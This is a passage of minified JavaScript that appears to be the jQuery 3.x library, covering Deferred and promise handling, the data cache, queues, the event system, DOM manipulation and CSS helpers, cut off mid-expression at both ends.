f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){r.each(b,function(b,c){r.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==r.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return r.each(arguments,function(a,b){var c;while((c=r.inArray(b,f,c))>-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function M(a){return a}function N(a){throw a}function O(a,b,c){var d;try{a&&r.isFunction(d=a.promise)?d.call(a).done(b).fail(c):a&&r.isFunction(d=a.then)?d.call(a,b,c):b.call(void 0,a)}catch(a){c.call(void 0,a)}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b<f)){if(a=d.apply(h,i),a===c.promise())throw new TypeError("Thenable self-resolution");j=a&&("object"==typeof a||"function"==typeof a)&&a.then,r.isFunction(j)?e?j.call(a,g(f,c,M,e),g(f,c,N,e)):(f++,j.call(a,g(f,c,M,e),g(f,c,N,e),g(f,c,M,c.notifyWith))):(d!==M&&(h=void 0,i=[a]),(e||c.resolveWith)(h,i))}},k=e?j:function(){try{j()}catch(a){r.Deferred.exceptionHook&&r.Deferred.exceptionHook(a,k.stackTrace),b+1>=f&&(d!==N&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:M,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:M)),c[2][3].add(g(0,a,r.isFunction(d)?d:N))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(O(a,g.done(h(c)).resolve,g.reject),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)O(e[c],h(c),g.reject);return g.promise()}});var P=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&P.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var Q=r.Deferred();r.fn.ready=function(a){return Q.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,holdReady:function(a){a?r.readyWait++:r.ready(!0)},ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||Q.resolveWith(d,[r]))}}),r.ready.then=Q.then;function R(){d.removeEventListener("DOMContentLoaded",R),
a.removeEventListener("load",R),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",R),a.addEventListener("load",R));var S=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)S(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},T=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function U(){this.expando=r.expando+U.uid++}U.uid=1,U.prototype={cache:function(a){var b=a[this.expando];return b||(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase(b)]=c;else for(d in b)e[r.camelCase(d)]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][r.camelCase(b)]},access:function(a,b,c){return void 0===b||b&&"string"==typeof b&&void 0===c?this.get(a,b):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d=a[this.expando];if(void 0!==d){if(void 0!==b){r.isArray(b)?b=b.map(r.camelCase):(b=r.camelCase(b),b=b in d?[b]:b.match(K)||[]),c=b.length;while(c--)delete d[b[c]]}(void 0===b||r.isEmptyObject(d))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!r.isEmptyObject(b)}};var V=new U,W=new U,X=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Y=/[A-Z]/g;function Z(a){return"true"===a||"false"!==a&&("null"===a?null:a===+a+""?+a:X.test(a)?JSON.parse(a):a)}function $(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Y,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c=Z(c)}catch(e){}W.set(a,b,c)}else c=void 0;return c}r.extend({hasData:function(a){return W.hasData(a)||V.hasData(a)},data:function(a,b,c){return W.access(a,b,c)},removeData:function(a,b){W.remove(a,b)},_data:function(a,b,c){return V.access(a,b,c)},_removeData:function(a,b){V.remove(a,b)}}),r.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=W.get(f),1===f.nodeType&&!V.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=r.camelCase(d.slice(5)),$(f,d,e[d])));V.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){W.set(this,a)}):S(this,function(b){var c;if(f&&void 0===b){if(c=W.get(f,a),void 0!==c)return c;if(c=$(f,a),void 0!==c)return c}else this.each(function(){W.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){W.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=V.get(a,b),c&&(!d||r.isArray(c)?d=V.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return V.get(a,c)||V.access(a,c,{empty:r.Callbacks("once memory").add(function(){V.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?r.queue(this[0],a):void 0===b?this:this.each(function(){var c=r.queue(this,a,b);r._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&r.dequeue(this,a)})},dequeue:function(a){return this.each(function(){r.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=r.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=V.get(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var _=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,aa=new RegExp("^(?:([+-])=|)("+_+")([a-z%]*)$","i"),ba=["Top","Right","Bottom","Left"],ca=function(a,b){return a=b||a,"none"===a.style.display||""===a.style.display&&r.contains(a.ownerDocument,a)&&"none"===r.css(a,"display")},da=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};function ea(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return r.css(a,b,"")},i=h(),j=c&&c[3]||(r.cssNumber[b]?"":"px"),k=(r.cssNumber[b]||"px"!==j&&+i)&&aa.exec(r.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,r.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var fa={};function ga(a){var b,c=a.ownerDocument,d=a.nodeName,e=fa[d];return e?e:(b=c.body.appendChild(c.createElement(d)),e=r.css(b,"display"),b.parentNode.removeChild(b),"none"===e&&(e="block"),fa[d]=e,e)}function ha(a,b){for(var c,d,e=[],f=0,g=a.length;f<g;f++)d=a[f],d.style&&(c=d.style.display,b?("none"===c&&(e[f]=V.get(d,"display")||null,e[f]||(d.style.display="")),""===d.style.display&&ca(d)&&(e[f]=ga(d))):"none"!==c&&(e[f]="none",V.set(d,"display",c)));for(f=0;f<g;f++)null!=e[f]&&(a[f].style.display=e[f]);return a}r.fn.extend({show:function(){return ha(this,!0)},hide:function(){return ha(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){ca(this)?r(this).show():r(this).hide()})}});var ia=/^(?:checkbox|radio)$/i,ja=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,ka=/^$|\/(?:java|ecma)script/i,la={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};la.optgroup=la.option,la.tbody=la.tfoot=la.colgroup=la.caption=la.thead,la.th=la.td;function ma(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&r.nodeName(a,b)?r.merge([a],c):c}function na(a,b){for(var c=0,d=a.length;c<d;c++)V.set(a[c],"globalEval",!b||V.get(b[c],"globalEval"))}var oa=/<|&#?\w+;/;function pa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;n<o;n++)if(f=a[n],f||0===f)if("object"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(oa.test(f)){g=g||l.appendChild(b.createElement("div")),h=(ja.exec(f)||["",""])[1].toLowerCase(),i=la[h]||la._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",n=0;while(f=m[n++])if(d&&r.inArray(f,d)>-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=ma(l.appendChild(f),"script"),j&&na(g),c){k=0;while(f=g[k++])ka.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="<textarea>x</textarea>",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var qa=d.documentElement,ra=/^key/,sa=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ta=/^([^.]*)(?:\.(.+)|)/;function ua(){return!0}function va(){return!1}function wa(){try{return d.activeElement}catch(a){}}function xa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)xa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=va;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(qa,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(K)||[""],j=b.length;while(j--)h=ta.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.hasData(a)&&V.get(a);if(q&&(i=q.events)){b=(b||"").match(K)||[""],j=b.length;while(j--)if(h=ta.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&V.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(V.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c<arguments.length;c++)i[c]=arguments[c];if(b.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,b)!==!1){h=r.event.handlers.call(this,b,j),c=0;while((f=h[c++])&&!b.isPropagationStopped()){b.currentTarget=f.elem,d=0;while((g=f.handlers[d++])&&!b.isImmediatePropagationStopped())b.rnamespace&&!b.rnamespace.test(g.namespace)||(b.handleObj=g,b.data=g.data,e=((r.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(b.result=e)===!1&&(b.preventDefault(),b.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,b),b.result}},handlers:function(a,b){var c,d,e,f,g,h=[],i=b.delegateCount,j=a.target;if(i&&j.nodeType&&!("click"===a.type&&a.button>=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c<i;c++)d=b[c],e=d.selector+" ",void 0===g[e]&&(g[e]=d.needsContext?r(e,this).index(j)>-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i<b.length&&h.push({elem:j,handlers:b.slice(i)}),h},addProp:function(a,b){Object.defineProperty(r.Event.prototype,a,{enumerable:!0,configurable:!0,get:r.isFunction(b)?function(){if(this.originalEvent)return b(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[a]},set:function(b){Object.defineProperty(this,a,{enumerable:!0,configurable:!0,writable:!0,value:b})}})},fix:function(a){return a[r.expando]?a:new r.Event(a)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==wa()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===wa()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&r.nodeName(this,"input"))return this.click(),!1},_default:function(a){return r.nodeName(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}}},r.removeEvent=function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)},r.Event=function(a,b){return this instanceof r.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?ua:va,this.target=a.target&&3===a.target.nodeType?a.target.parentNode:a.target,this.currentTarget=a.currentTarget,this.relatedTarget=a.relatedTarget):this.type=a,b&&r.extend(this,b),this.timeStamp=a&&a.timeStamp||r.now(),void(this[r.expando]=!0)):new r.Event(a,b)},r.Event.prototype={constructor:r.Event,isDefaultPrevented:va,isPropagationStopped:va,isImmediatePropagationStopped:va,isSimulated:!1,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=ua,a&&!this.isSimulated&&a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=ua,a&&!this.isSimulated&&a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=ua,a&&!this.isSimulated&&a.stopImmediatePropagation(),this.stopPropagation()}},r.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(a){var b=a.button;return null==a.which&&ra.test(a.type)?null!=a.charCode?a.charCode:a.keyCode:!a.which&&void 0!==b&&sa.test(a.type)?1&b?1:2&b?3:4&b?2:0:a.which}},r.event.addProp),r.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){r.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||r.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),r.fn.extend({on:function(a,b,c,d){return xa(this,a,b,c,d)},one:function(a,b,c,d){return xa(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,r(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=va),this.each(function(){r.event.remove(this,a,c,b)})}});var ya=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,za=/<script|<style|<link/i,Aa=/checked\s*(?:[^=]|=\s*.checked.)/i,Ba=/^true\/(.*)/,Ca=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Da(a,b){return r.nodeName(a,"table")&&r.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a:a}function Ea(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Fa(a){var b=Ba.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ga(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(V.hasData(a)&&(f=V.access(a),g=V.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c<d;c++)r.event.add(b,e,j[e][c])}W.hasData(a)&&(h=W.access(a),i=r.extend({},h),W.set(b,i))}}function Ha(a,b){var c=b.nodeName.toLowerCase();"input"===c&&ia.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function Ia(a,b,c,d){b=g.apply([],b);var e,f,h,i,j,k,l=0,m=a.length,n=m-1,q=b[0],s=r.isFunction(q);if(s||m>1&&"string"==typeof q&&!o.checkClone&&Aa.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ia(f,b,c,d)});if(m&&(e=pa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(ma(e,"script"),Ea),i=h.length;l<m;l++)j=e,l!==n&&(j=r.clone(j,!0,!0),i&&r.merge(h,ma(j,"script"))),c.call(a[l],j,l);if(i)for(k=h[h.length-1].ownerDocument,r.map(h,Fa),l=0;l<i;l++)j=h[l],ka.test(j.type||"")&&!V.access(j,"globalEval")&&r.contains(k,j)&&(j.src?r._evalUrl&&r._evalUrl(j.src):p(j.textContent.replace(Ca,""),k))}return a}function Ja(a,b,c){for(var d,e=b?r.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||r.cleanData(ma(d)),d.parentNode&&(c&&r.contains(d.ownerDocument,d)&&na(ma(d,"script")),d.parentNode.removeChild(d));return a}r.extend({htmlPrefilter:function(a){return a.replace(ya,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=ma(h),f=ma(a),d=0,e=f.length;d<e;d++)Ha(f[d],g[d]);if(b)if(c)for(f=f||ma(a),g=g||ma(h),d=0,e=f.length;d<e;d++)Ga(f[d],g[d]);else Ga(a,h);return g=ma(h,"script"),g.length>0&&na(g,!i&&ma(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(T(c)){if(b=c[V.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[V.expando]=void 0}c[W.expando]&&(c[W.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ja(this,a,!0)},remove:function(a){return Ja(this,a)},text:function(a){return S(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Da(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ia(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ia(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(ma(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return S(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!za.test(a)&&!la[(ja.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c<d;c++)b=this[c]||{},1===b.nodeType&&(r.cleanData(ma(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ia(this,arguments,function(b){var c=this.parentNode;r.inArray(this,a)<0&&(r.cleanData(ma(this)),c&&c.replaceChild(b,this))},a)}}),r.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){r.fn[a]=function(a){for(var c,d=[],e=r(a),f=e.length-1,g=0;g<=f;g++)c=g===f?this:this.clone(!0),r(e[g])[b](c),h.apply(d,c.get());return this.pushStack(d)}});var Ka=/^margin/,La=new RegExp("^("+_+")(?!px)[a-z%]+$","i"),Ma=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)};!function(){function b(){if(i){i.style.cssText="box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",i.innerHTML="",qa.appendChild(h);var b=a.getComputedStyle(i);c="1%"!==b.top,g="2px"===b.marginLeft,e="4px"===b.width,i.style.marginRight="50%",f="4px"===b.marginRight,qa.removeChild(h),i=null}}var c,e,f,g,h=d.createElement("div"),i=d.createElement("div");i.style&&(i.style.backgroundClip="content-box",i.cloneNode(!0).style.backgroundClip="",o.clearCloneStyle="content-box"===i.style.backgroundClip,h.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",h.appendChild(i),r.extend(o,{pixelPosition:function(){return b(),c},boxSizingReliable:function(){return b(),e},pixelMarginRight:function(){return b(),f},reliableMarginLeft:function(){return b(),g}}))}();function Na(a,b,c){var d,e,f,g,h=a.style;return c=c||Ma(a),c&&(g=c.getPropertyValue(b)||c[b],""!==g||r.contains(a.ownerDocument,a)||(g=r.style(a,b)),!o.pixelMarginRight()&&La.test(g)&&Ka.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+"":g}function Oa(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Pa=/^(none|table(?!-c[ea]).+)/,Qa={position:"absolute",visibility:"hidden",display:"block"},Ra={letterSpacing:"0",fontWeight:"400"},Sa=["Webkit","Moz","ms"],Ta=d.createElement("div").style;function Ua(a){if(a in Ta)return a;var b=a[0].toUpperCase()+a.slice(1),c=Sa.length;while(c--)if(a=Sa[c]+b,a in Ta)return a}function Va(a,b,c){var d=aa.exec(b);return d?Math.max(0,d[2]-(c||0))+(d[3]||"px"):b}function Wa(a,b,c,d,e){var f,g=0;for(f=c===(d?"border":"content")?4:"width"===b?1:0;f<4;f+=2)"margin"===c&&(g+=r.css(a,c+ba[f],!0,e)),d?("content"===c&&(g-=r.css(a,"padding"+ba[f],!0,e)),"margin"!==c&&(g-=r.css(a,"border"+ba[f]+"Width",!0,e))):(g+=r.css(a,"padding"+ba[f],!0,e),"padding"!==c&&(g+=r.css(a,"border"+ba[f]+"Width",!0,e)));return g}function Xa(a,b,c){var d,e=!0,f=Ma(a),g="border-box"===r.css(a,"boxSizing",!1,f);if(a.getClientRects().length&&(d=a.getBoundingClientRect()[b]),d<=0||null==d){if(d=Na(a,b,f),(d<0||null==d)&&(d=a.style[b]),La.test(d))return d;e=g&&(o.boxSizingReliable()||d===a.style[b]),d=parseFloat(d)||0}return d+Wa(a,b,c||(g?"border":"content"),e,f)+"px"}r.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Na(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":"cssFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=r.camelCase(b),i=a.style;return b=r.cssProps[h]||(r.cssProps[h]=Ua(h)||h),g=r.cssHooks[b]||r.cssHooks[h],void 0===c?g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b]:(f=typeof c,"string"===f&&(e=aa.exec(c))&&e[1]&&(c=ea(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(r.cssNumber[h]?"":"px")),o.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),g&&"set"in g&&void 0===(c=g.set(a,c,d))||(i[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=r.camelCase(b);return b=r.cssProps[h]||(r.cssProps[h]=Ua(h)||h),g=r.cssHooks[b]||r.cssHooks[h],g&&"get"in g&&(e=g.get(a,!0,c)),void 0===e&&(e=Na(a,b,d)),"normal"===e&&b in 